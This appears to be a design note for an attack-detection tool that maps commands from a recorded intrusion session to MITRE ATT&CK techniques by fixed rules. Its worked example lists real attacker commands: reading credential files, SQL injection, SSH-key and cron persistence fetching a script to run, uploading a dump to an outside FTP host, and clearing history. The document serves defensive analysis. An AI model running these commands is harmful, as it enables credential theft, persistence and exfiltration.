Thetechniquesetiscomputed,notinferred.

Every command in the transcript is matched against a deterministic rule set of roughly sixty mappings from observed behaviour to MITRE ATT&CK techniques. The same session always produces the same technique list, which is what makes the output usable as evidence rather than as a suggestion.

Why not a model

A model would produce a plausible technique list, and plausible is the wrong property. Techniques feed the case, the campaign correlation and the candidate rules; every one of those needs to be reproducible and explainable to the person reviewing it. A rule that fired can be pointed at. An inference cannot.

How a rule is written

Each rule pairs a match on the observed command or request with a technique id and a weight. The weight is what L2 adds to the score when it fires; the technique id is what L6 records. They are the same rule read by two layers, which is why the score and the technique set can never disagree with each other.

What the model does get

The finished record: techniques, timeline, evidence chain, conversion event. One call, after the session closes, producing a narrative for a human. Nothing downstream reads its output.

Worked against one recorded session

Session sess_7f3a91, 24 observations over 257s. Everything below is generated from that transcript by rule. No model touched any of it.

006swhoamiT1033
011suname -aT1082
017sid && groupsT1033
024sls -la /var/wwwT1083
033scat /etc/passwdT1087.001
041sdpkg -l | head -40T1518
052sps aux --sort=-%memT1057
060sip a && cat /etc/resolv.confT1016
071sss -antpT1049
083ssystemctl list-units --type=serviceT1518.001
096sfor p in 3306 6379 8080; do nc -zv 10.0.4.* $p; doneT1046
112sfind / -perm -4000 -type f 2>/dev/nullT1548.001
128sgrep -rIl 'PASSWORD\|SECRET' /srv /optT1552.001
141scat /srv/app/.envT1552.001
152sfind /home -name 'id_*' -o -name '*.pem'T1552.004
166scurl -s 169.254.169.254/latest/meta-data/iam/T1552.005T1090
178scurl 'api.internal/report?id=1%20OR%201=1--'T1190
189scat /etc/shadowT1003.008
201smysql -h mysql.internal -e 'select * from customers'T1552.001
214secho 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keysT1098.004
228s(crontab -l; echo '*/5 * * * * curl -s x.sh|sh') | crontab -T1053.003
243scurl -T /tmp/dump.sql ftp://185.x.x.x/T1041T1105
257shistory -c && rm ~/.bash_historyT1070.003